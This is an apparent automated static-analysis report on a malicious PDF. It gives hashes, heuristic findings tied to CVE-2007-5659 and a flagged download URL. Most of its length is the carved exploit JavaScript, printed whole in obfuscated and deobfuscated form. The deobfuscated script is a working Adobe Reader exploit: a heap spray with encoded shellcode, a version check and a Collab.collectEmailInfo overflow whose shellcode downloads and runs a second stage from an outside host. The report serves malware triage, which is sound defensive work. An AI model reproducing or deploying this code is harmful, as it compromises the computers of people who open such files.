Malicious PDF — malware analysis report

Static analysis result for SHA-256 f3c70d060d250bcc…

MALICIOUS

PDF

4.7 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 6fe45ec8b773004e3e1cf62883029220 SHA-1: ba6231f2443670a2989f0bb536b4348df879e8ca SHA-256: f3c70d060d250bcc2585032d45dce9d570c5f69645a6ee8fc8dfa3eb944dd00b
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file exhibits multiple heuristic firings related to JavaScript execution, including embedded JS streams and eval() calls, indicating a high likelihood of malicious scripting. The presence of obfuscated JavaScript suggests an attempt to conceal its true purpose, which is likely to download and execute a second-stage payload. The document body is unreadable, providing no further context on the lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function YfWZyD(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function ZWhnteJ(HxTewMf){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(HxTewMf)"+";"+"}");eval("function wi7GYKDwrM(f7xn5Gr2e){var yXaym9wBTSG="+"0,UyxCLo1s2=f7xn5Gr2e.l"+"en"+"gth,QjUkIoxFg=10"+"2"+"4,U7Q9tU,JW3Mv2K9M09F,nju2TDqQSX='',FdAlXfAIBDf=yXaym9wBTSG,Q1Eb0Nr=yXaym9wBTSG,RaEw4SnTuKEYyP=yXaym9wBTSG,f5VpGiVMxV=Ar"+"ra"+"y(63,24,41,14,31,3 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/spl3/load.php?id=3211&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x364 6608 bytes
SHA-256: 9309dcc2540e0e0a782f39d37fd87ef23be89deba232668830d1926394c5f4f3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 170 of 253 identifiers look randomly generated (e.g. 'nF77ttM7nPn7ttYTnkK7ttYTnPwgttMkIPMgttwg'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function YfWZyD(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function ZWhnteJ(HxTewMf){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(HxTewMf)"+";"+"}");eval("function wi7GYKDwrM(f7xn5Gr2e){var yXaym9wBTSG="+"0,UyxCLo1s2=f7xn5Gr2e.l"+"en"+"gth,QjUkIoxFg=10"+"2"+"4,U7Q9tU,JW3Mv2K9M09F,nju2TDqQSX='',FdAlXfAIBDf=yXaym9wBTSG,Q1Eb0Nr=yXaym9wBTSG,RaEw4SnTuKEYyP=yXaym9wBTSG,f5VpGiVMxV=Ar"+"ra"+"y(63,24,41,14,31,33,11,5,3,4,0,0,0,0,0,0,45,15,37,27,36,54,19,18,22,20,6,25,40,12,62,47,32,51,53,34,50,39,26,48,29,0,55,0,0,0,0,1,0,7,35,43,9,23,10,2,61,49,13,21,17,57,8,56,30,42,52,38,16,46,60,28,58,59,44);f"+"o"+"r(JW3Mv2K9M09F=M"+"at"+"h.c"+"ei"+"l(UyxCLo1s2/"+"QjUkIoxFg)"+";JW3Mv2K9M09F>yXaym9wBTSG;JW3Mv2K9M09F-"+"-){fo"+"r(U7Q9tU=Ma"+"th.m"+"in(UyxCLo1s2,QjUkIoxFg);U7Q9tU>yXaym9wBTSG;U7Q9tU-"+"-,UyxCLo1s2-"+"-){RaEw4SnTuKEYyP|"+"=(f5VpGiVMxV[f7xn5Gr2e.cha"+"rCod"+"eAt(FdAlXfAIBDf+"+"+)-48])<"+"<Q1Eb0Nr;if(Q1Eb0Nr){nju2TDqQSX+"+"=ZWhnteJ"+"(101^RaEw4SnTuKEYyP&"+"2"+"5"+"5);RaEw4SnTuKEYyP>"+">="+"8;Q1Eb0Nr-"+"="+"2;}el"+"se{Q1Eb0Nr="+"6"+";}}"+"}return (nju2TDqQSX);}var ieyQyt1Dq5=implode('',['7j_','_e','Ird2Mb','Yftl8ntP','7d','I9H7@YYGI9dew','__wr9Fp','krYtz','P_','lWPg6','I9dlm','W8dDG','Yz','rDYfn','bgW9BfEr','g7kBIlwIijsrFn6I','8F7mllG','rY8','dYtljdPgTLYMl','2Sj@tlk6','BYY6nt9j','vrkKi','l7','Z1G','A','5','z','t','jMm5Yfnb','gW','9B','fErg7kkDF1kDYfnbgW9BfErg7km7','J7dPgTLYMl','2S','j','@tlk75','klgLP','MfYFIq1F6I','I','RGHYi','_H','9i7','MzPYj','k','kG','wI','i','jsrFn6Ib','GeiDe7X_YlYi76ID','Yfn','b','gW9BfErg7','km','k','l1I','r','YtzP_lW','Pg','6I9','8d1R','AQzW','9k','j','B9IYlMjiIlpIr99wll','crbkeLt9eX','Fl1kIkX','IB_','kKtkJIB_pkr9','9wllF1l','McnBn6MRI0','rRY','tk9H','7_igY15_9','I_YjX9tt9BklK7tt9Bkl','K','7tt9B','klK7','tt','IRnPwgtt1BktXgttMRIsW','7ttr','kk','U','W7ttrkkkl','7ttYTnHK7t','tYT','kl','K7t','tYTdb','tgtt','YGek','_7t','tMT','nP','1gttMT','nbMg','ttrRdGjgtt9','Tn','l_','gttYTn','PMgttMkIPMgttYSkD','Mgt','tW','RnF77t','t9Rkb17ttWR','nF77ttM7nPn7ttYTnkK7ttYTnPwgttMkIPMgttwg','ekK','7ttM7kXd7ttYgkDt7ttIB','IkK7','ttYTnIl7ttYTnP','Mgtttgd','Fj7ttwge','P','wgtt','n','BIXd7t','t','M7II','l','7ttIBIP','t7t','tYTn','IjgttYTn','PMgtttg','d','Fj7tt','wgePn7tt1','gdXd7tttkkt','j','gt','tI','BI','e7gttYTnk7gttYTnP','Mgtt','tgdFj7tt','wg','eP17ttIkkXd7ttIRne','l7ttIBIXjgttYTnHXgttYTnPMgt','ttgdFj7ttwge','bM','gttw7','nXd7ttI7d','w','j7ttIBItd7ttYTnei7','ttYTnPMgttt','gd','Fj7','ttt','Tnbwgtt9SIFjgttW7deK','g','ttMRII_7','tt','MSI','Dt','gttY','Gekj7ttY','T','nPYgt','t','wgk','PMgttW','7dFj','7ttM','kIswgttYTdD','tgttYgnX_7','ttMkIUM','7t','tMSI','Utg','t','tIBIUW7t','tY','TnF77tt','Y','TnPMgtt','rBIUM','gttMgI5W7ttWRns','I7ttnkekd7ttYTnPMgt','t','MRIP','Mgtt','MSkD','tgttw7dF77t','tw','RnFKgttMRIUMg','tt1TnDtgtttkkXd7tt','YT','nP','M','gttw','T','nP','Mgtt','tgd','F77','ttr7','Ibwg','ttwTIP9gttwgdF77ttIBIbn','7tt','YTnX_gtt','YTnPMgtttgdP','1','gt','twkes','Mgtt','wS','kPM','gtt1gkw','l7tt','wkeXlgttYTdDMg','ttr7dwd7tt','YTnP','MgttW7dI','k7ttMkIs','M','gttYSkDt','g','t','tYgnX_7ttMkIUM7ttMSIU','tgtttTnkd7t','tYTnPMgttr7IP','Mg','ttwSIP','r','7tt','t','gdP1gtt9','Sdswgt','twSdH7','7ttt','kk','U1g','tt1','Tnw','l','gttwSdUMg','tt','t','gdF7','7ttr7Ib17tt','wT','IPtgttwgdF77t','tIBIbn7ttYTn','s1gttYT','nPMgttYTnX','_7ttW7','dIk7ttMk','IsMgttYSIDtgt','tYGnX_','7ttMkIU','M7ttMSIUtgttMTnk','d7ttY','TnPMgtt','r7IPM','gt','tMkIIk7t','tM','Tn','Dt','gttYgnX_','7ttMkIUM7','ttMSIUtgttYTn','kd7ttYTn','P','Mgtt','tgnPM','gt','t','w','GnU97ttI7','nP1','gttI7nP1g','ttI7nP1gttI7nP','1gt','t','IBkF','K','gt','twgI','Pwgtt','MkIU1gt','tIkn','H_7t','twGnIR7','ttIRn','Ik7t','tM','k','IUtg','ttM','kIkK7ttYSIwX','7tt','wTkF77','ttwg','eP17ttWBdF77ttMk','I51','7tt','MgkwXg','ttYSd','wd7','ttwgeIK','gttW7eF7','7ttYSd','sMgtt9SdIKgtttT','Iej7t','t9RkDYg','ttwBdP1gtt','9SdUW7tt','YGkIi7t','tMTntl7tttkn5','Y7ttY','S','Iw','Xgttw7ke_gttYSdPw7t','ttTnI7gttt7n','k77ttt7k59','7t','tW','7dUt7','ttwgIk','lgt','tIkIF77ttwgI','F','77ttYSdsw','gttr7eHX7','t','tYSkF','77ttM','kI','D97ttMSkUY7tt1RkP1gttYTdF77ttYSdF','77t','t','wgkelgttwknUw7ttYTnPn','7tttR','d','kd7tttk','kI','l7tt','wgdIk7tttS','kU9gtt','t','GkDw','7t','t','YTnDt','7ttnk','IFR','7','t','tnk','kG','7','7ttwRn','Hlgt','t','M7kejgtt','MRkFX','7tt1','7','eHl','7','ttw7nHX7t','tM','7nFK7tt','nBkejg','ttMBdGk7ttwRnHK','7t','tMRn','FK','g','t','tMkIFl7ttn','kk','e_gttnk','kF','R7ttM7eHjgtt1kn','F77t','t1RkHK7','tt17kHl7','t','tnB','kej7ttMB','dGk7tt','1kI','H7Tl','MmklFt','W77','K','TfY1','S','gtI9H7','kkalkkkkkkkp','kr','99w','lllzTj6YYnHo','W','g4','t','F','l1k','r9H9Qf','G','dTgFj','RAXjYI6BYY6nt9jIr','F7X','Be7j','_','_','eI9','akwbdh9TgRI9','H7KTfY1','SgtI9','G7RI9cwQgYYS','73zWar','oIkX1keMmklFt','W77dP','gTLYM','l2Sj','@tlk7','5kltz','YYH1Y_k','YtFa','_','99w','k7ek_','9','9wk7ekX9FpkD','Y','fnbgW','9BfErg7k','k9H7lGI3v','tg29Y6jdPgTLYMl','2S','j','@tlkdk9akw','bd','h9Tg','RWDe7j','__eIDfej790','Ik79wlkw','KtfQI9H7Rrfh1R7f9ikZI9','G7kkalkkkkkkk','M2Ddc','YP','dfY5e7','jPgeIIFFt','W77','@tnI','RF','I','Fw78OW','8HkmRg','5tk','AljikMvgAK2','TkF_iAk','k__','eI7eJDTMp@tnI','RFIF','w78OWbF3iI','lpIrd','2MbYf','t','l8ntP7doQ','g5tkAl','jikMvgAoI9H7dPgTLYMl2','Sj@tlk7mIlF','1lMcnBn6MRI0rRYtmk','l1','I9J7','j','Y961t9ML','Wg7mW','6swYk91BgPrG','FMkDa7j__eI','9_tdtjGwYj','Hj','QaUDTA','Hk9H7','lt7kzr9MYP9YwiMYw57MLWg675gE9i7Mz','P','Y','jiDe','7lY','I','gIb','9','atbkQvid2vbk75','kl9YBYRni_r1RM4w','Gf01RG','eYt7dtP_YrD','Gm9S','GgDrla','iDe','7j','_','_eIIM8tlnXzGAkh_AAwkl1krgYnllD','w','i','79WlF9YBYRni_r1RM','4wGf01R','GJr','Y','_etG9','jk7FdlY','IgIb9at','bkQv','id','2vbk6K','t8','9w_dl','r9kMB9_tdtj','Gw','YjHjQ','a','UD','T','AH@D_','jtW7D9lFei9F','pk988IIF','j7','QYI9GacrF','k4WQ','8emFk','oI','9H1kIe7jrt7R','IFiM','Y75rifhIRav','vWkNt','737','57H7lkl8','j','IliMY75','rifh','IRavv','WkNw737Bkl','eiIlK','DlliMY7','5ri','fhIRavvW','kNt737Bk','lIi9F7BlJ7RIM8tl','n','XzGAkh_AAwBAk','5','Fl15','klG','krt8kIM8','tlnXzGAkh_AAwBAI5FlKk9kMk','IJK','IIFi','MY75rif','hIR','avvWkN','I','737Bk','lGi9F7m','ll','MDPk0','MQgFIRIGt_9i','r9Fpk','r9','9w','l','luWGIXzS8coGf6','P','T76','rFl1k996YP7','Jtt7','YrrlY_lkJI','B_Y_lkJIB_aiDe7dl8MDY','Yjmg6lRif3zS62zY','feztA6BY','Y6nt9jIIH77k','Iw_R','k','MkD6z9kacoW','fuDTgLwi','ghIDF1kD6z','9','kac','oWfuDTgLwigh','o','kllrY8','HzD_fDtg9wPj','lLW7','YI9H7KSg','dDY_azD_fDtgY','1','t9','PP','Y_MDY66MP','gjm57t','wW84krl','aB9gHn','We7mg','6lRif','3z','S62zYf','eztA1WDe','75ll1ID','8O1T_IlPkfY','G6jiD','e']);");eval(wi7GYKDwrM(ieyQyt1Dq5));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x364 2685 bytes
SHA-256: 92ef205a3e5741083a2ab2ddcec523653049837240dd741e28f5252fec9f5e3e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var BLVgoqhmasl = new Array(); function A4kjlLdI(goWoU4OSHq0, ypRCXDnP) { while (goWoU4OSHq0.length*2<ypRCXDnP){goWoU4OSHq0 += goWoU4OSHq0;} goWoU4OSHq0 = goWoU4OSHq0.substring(0,ypRCXDnP/2); return goWoU4OSHq0; } function il3ZVnv06wquT() { var NX3rot2R = 0x0c0c0c0c; var vsTN7Gn66Z8f5 = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u732F%u6C70%u2F33%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3233%u3131%u7326%u6C70%u343D"); var CNeCou = 0x400000; var tNRneEsknzQ = vsTN7Gn66Z8f5.length * 2; var ypRCXDnP = CNeCou - (tNRneEsknzQ+0x38); var goWoU4OSHq0 = unescape("%u9090%u9090"); goWoU4OSHq0 = A4kjlLdI(goWoU4OSHq0, ypRCXDnP); var O26uZ0par09cLV = (NX3rot2R - 0x400000)/CNeCou; for (var nD1X4v2iJY=0;nD1X4v2iJY<O26uZ0par09cLV;nD1X4v2iJY++) { BLVgoqhmasl[nD1X4v2iJY] = goWoU4OSHq0 + vsTN7Gn66Z8f5; } } function kJCb1a3oEH() { var a5gPwbQ3VzBLZ3 = app.viewerVersion.toString(); a5gPwbQ3VzBLZ3 = a5gPwbQ3VzBLZ3.replace(/\D/g,""); var TfqDxNX0zYj2 = new Array(a5gPwbQ3VzBLZ3.charAt(0),a5gPwbQ3VzBLZ3.charAt(1),a5gPwbQ3VzBLZ3.charAt(2)); if ((TfqDxNX0zYj2[0] == 8 && ((TfqDxNX0zYj2[1] == 1 && TfqDxNX0zYj2[2] < 2) || TfqDxNX0zYj2[1] < 1)) || (TfqDxNX0zYj2[0] == 7 && TfqDxNX0zYj2[1] < 1) || (TfqDxNX0zYj2[0] < 7)) { il3ZVnv06wquT(); var KI4xNkNKLnMrnX = unescape("%u0c0c%u0c0c"); while(KI4xNkNKLnMrnX.length < 44952) KI4xNkNKLnMrnX += KI4xNkNKLnMrnX; this.collabStore = Collab.collectEmailInfo({subj: "",msg: KI4xNkNKLnMrnX}); } } kJCb1a3oEH();

Open this report in the interactive analyzer, or submit your own file for analysis.